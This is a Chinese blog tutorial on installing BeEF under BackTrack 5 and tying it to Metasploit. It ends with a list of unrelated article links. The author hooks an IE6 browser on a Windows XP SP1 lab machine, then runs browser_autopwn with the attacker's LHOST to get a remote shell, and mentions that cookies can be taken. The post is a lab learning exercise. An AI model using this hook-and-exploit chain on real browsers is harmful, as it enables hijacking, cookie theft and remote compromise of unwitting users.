初探BeEF
1.什么是BeEF?
就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。
里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。
大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef
BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。
[plain] view plaincopy


- ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]
- beef :Version 0.4.3.6-alpha
beef默认安装在:/pentest/web/beef/ 下
metasploit默认安装在:/opt/metasploit/下
翻看了下beef的安装文档:INSTALL.txt
[plain] view plaincopy


- 1. Prerequisites (platform independent)
- BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
- gem install bundler
- . Prerequisites (Linux)
- !!! This must be done PRIOR to running the bundle install command !!!
- On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
- 3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- 3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
- 3.2. rvm install 1.9.2
- 3.3. rvm use 1.9.2
发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)
总结了下就是:
[plain] view plaincopy


- apt-get install libsqlite3-dev sqlite3 sqlite3-doc
- gem install bundler
- bundle install
如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):
[plain] view plaincopy


- gem install --user-install bundler
然后开启beef:./beef
出现如下信息则成功:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
- [ 9:17:50][*] Browser Exploitation Framework (BeEF)
- [ 9:17:50] | Version 0.4.3.6-alpha
- [ 9:17:50] | Website http://beefproject.com
- [ 9:17:50] | Run 'beef -h' for basic help.
- [ 9:17:50] |_ Run 'git pull' to update to the latest revision.
- [ 9:17:50][*] Successful connection with Metasploit.
- [ 9:17:53][*] Loaded 203 Metasploit exploits.
- [ 9:17:53][*] BeEF is loading. Wait a few seconds...
- [ 9:17:57][*] 9 extensions loaded:
- [ 9:17:57] | Console
- [ 9:17:57] | Requester
- [ 9:17:57] | Events
- [ 9:17:57] | Proxy
- [ 9:17:57] | XSSRays
- [ 9:17:57] | Autoloader
- [ 9:17:57] | Metasploit
- [ 9:17:57] | Demos
- [ 9:17:57] |_ Admin UI
- [ 9:17:57][*] 316 modules enabled.
- [ 9:17:57][*] 2 network interfaces were detected.
- [ 9:17:57][+] running on network interface: 127.0.0.1
- [ 9:17:57] | Hook URL: http://127.0.0.1:3000/hook.js
- [ 9:17:57] |_ UI URL: http://127.0.0.1:3000/ui/panel
- [ 9:17:57][+] running on network interface: 192.168.198.128
- [ 9:17:57] | Hook URL: http://192.168.198.128:3000/hook.js
- [ 9:17:57] |_ UI URL: http://192.168.198.128:3000/ui/panel
- [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72
- [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789
- [ 9:17:57][*] BeEF server started (press control+c to stop)
其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit
首先关闭beef(Ctrl+C)。
在/opt/metasploit/文件夹下gedit beef.rc,写入内容:
[plain] view plaincopy


- load msgrpc ServerHost=127.0.0.1 Pass=abc123
这里上网搜了下,发现密码神马的最好不要改,那就不改啦~
安装msgpack:
[plain] view plaincopy


- gem install --user-install msgpack
修改配置让beef支持metasploit:
[plain] view plaincopy


- gedit /pentest/web/beef/config.yaml
- 把 metasploit:
- enable: false
- 改成:
- metasploit:
- enable: true
Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!
我们启动metasploit:
[plain] view plaincopy


- root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc
出现如下信息就表示成功:
[plain] view plaincopy


- [*] Processing beef.rc for ERB directives.
- resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123
- [*] MSGRPC Service: 127.0.0.1:55552
- [*] MSGRPC Username: msf
- [*] MSGRPC Password: abc123
- [*] Successfully loaded plugin: msgrpc
然后我们再启动beef:
[plain] view plaincopy


- root@bt:/pentest/web/beef# ./beef
beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:
[plain] view plaincopy


- http://127.0.0.1:3000/demos/basic.html
里面主要是有这么一段js代码:
[plain] view plaincopy


4.对XPSP1测试
(1)让xp sp1 用IE6访问hack页面:
[plain] view plaincopy


- http://192.168.198.128:3000/demos/basic.html
发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)
拿msf生成HOOK链接:
[plain] view plaincopy


- msf > use auxiliary/server/browser_autopwn
- msf auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址
- LHOST => 192.168.198.128
- msf auxiliary(browser_autopwn) > run
然后出来一大堆URL,我们选择,IE的一个:
[plain] view plaincopy


- http://192.168.198.128:8080/hxRmMPkYJa
控制被HOOK的浏览器去访问这个链接:

然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。
有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。
这么强大的神器,你还在等什么呢?
emaster 关注信息安全的胖子
欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067
初探BeEF的更多相关文章
- 【20171106早】BeEF 工具初探
老黑今天接触BeEF工具,首先要了解这个工具能够做什么? 0x01:功能介绍 专业文档:点击这里 通俗的说就是可以控制别的浏览器,获取浏览器的信息.然后做something 专业的说就是好用的渗透测试 ...
- 初探领域驱动设计(2)Repository在DDD中的应用
概述 上一篇我们算是粗略的介绍了一下DDD,我们提到了实体.值类型和领域服务,也稍微讲到了DDD中的分层结构.但这只能算是一个很简单的介绍,并且我们在上篇的末尾还留下了一些问题,其中大家讨论比较多的, ...
- CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探
CSharpGL(8)使用3D纹理渲染体数据 (Volume Rendering) 初探 2016-08-13 由于CSharpGL一直在更新,现在这个教程已经不适用最新的代码了.CSharpGL源码 ...
- 从273二手车的M站点初探js模块化编程
前言 这几天在看273M站点时被他们的页面交互方式所吸引,他们的首页是采用三次加载+分页的方式.也就说分为大分页和小分页两种交互.大分页就是通过分页按钮来操作,小分页是通过下拉(向下滑动)时异步加载数 ...
- JavaScript学习(一) —— 环境搭建与JavaScript初探
1.开发环境搭建 本系列教程的开发工具,我们采用HBuilder. 可以去网上下载最新的版本,然后解压一下就能直接用了.学习JavaScript,环境搭建是非常简单的,或者说,只要你有一个浏览器,一个 ...
- .NET文件并发与RabbitMQ(初探RabbitMQ)
本文版权归博客园和作者吴双本人共同所有.欢迎转载,转载和爬虫请注明原文地址:http://www.cnblogs.com/tdws/p/5860668.html 想必MQ这两个字母对于各位前辈们和老司 ...
- React Native初探
前言 很久之前就想研究React Native了,但是一直没有落地的机会,我一直认为一个技术要有落地的场景才有研究的意义,刚好最近迎来了新的APP,在可控的范围内,我们可以在上面做任何想做的事情. P ...
- 【手把手教你全文检索】Apache Lucene初探
PS: 苦学一周全文检索,由原来的搜索小白,到初次涉猎,感觉每门技术都博大精深,其中精髓亦是不可一日而语.那小博猪就简单介绍一下这一周的学习历程,仅供各位程序猿们参考,这其中不涉及任何私密话题,因此也 ...
- Key/Value之王Memcached初探:三、Memcached解决Session的分布式存储场景的应用
一.高可用的Session服务器场景简介 1.1 应用服务器的无状态特性 应用层服务器(这里一般指Web服务器)处理网站应用的业务逻辑,应用的一个最显著的特点是:应用的无状态性. PS:提到无状态特性 ...
随机推荐
- ant使用小结
使用builder.xml的方式:完成的工作:打jar包并运行,其中引用了第三方jar和配置文件: <?xml version="1.0" encoding="UT ...
- jquery操作radio单选按钮,实现取值,动态选中,动态删除的各种方法
本文主要讲的是在jquery里操作表单radio单选按钮的各种方法,如获取选中的radio的值,动态选中指定的radio项等. 1.获取选中的radio单选按钮的值: var v=$(":r ...
- Cheatsheet: 2018 08.01 ~ 2018 10.31
Other Building the Ultimate Developer PC 3.0 - The Parts List for my new computer, IronHeart Face re ...
- 撩课-Mysql详解第3部分sql分类
学习地址:[撩课-JavaWeb系列1之基础语法-前端基础][撩课-JavaWeb系列2之XML][撩课-JavaWeb系列3之MySQL][撩课-JavaWeb系列4之JDBC][撩课-JavaWe ...
- springmvc 框架原理
先来个原理图,镇博. (图片出处:http://www.cnblogs.com/selene/p/4658554.html,感谢博主的图) 着重看:处理器映射器,处理器适配器,这两个的配置. 这两个的 ...
- MVC 手机端页面 使用标签file 图片上传到后台处理
最近刚做了一个头像上传的功能,使用的是H5 的界面,为了这个功能搞了半天的时间,找了各种插件,有很多自己都不知道怎么使用,后来只是使用了一个标签就搞定了:如果对样式没有太大的要求我感觉使用这个就足够了 ...
- axios中的qs
qs是一个npm仓库所管理的包,可通过npm install qs命令进行安装. 1. qs.parse()将URL解析成对象的形式 const Qs = require('qs'); let url ...
- java线程的常用方法
java线程的常用方法 编号 方法 说明 1 public void start() 使该线程开始执行:Java 虚拟机调用该线程的 run 方法. 2 public void run() 如果该线程 ...
- JAVASE(说出ArrayList,LinkedList的储存性能和特性)
说出ArrayList,和LinkedList的储存性能和特性? 答: ## ArrayList采用的是数组形式来保存对象的,这种方式将对象放在连续的位置中,优点是索引读取快,从最后插入和删除元素速 ...
- php 生成唯一id的几种解决方法(实例)
php 生成唯一id,网上查了下,有很多的方法 1.md5(time() . mt_rand(1,1000000)); 这种方法有一定的概率会出现重复 2.php内置函数uniqid() uniqid ...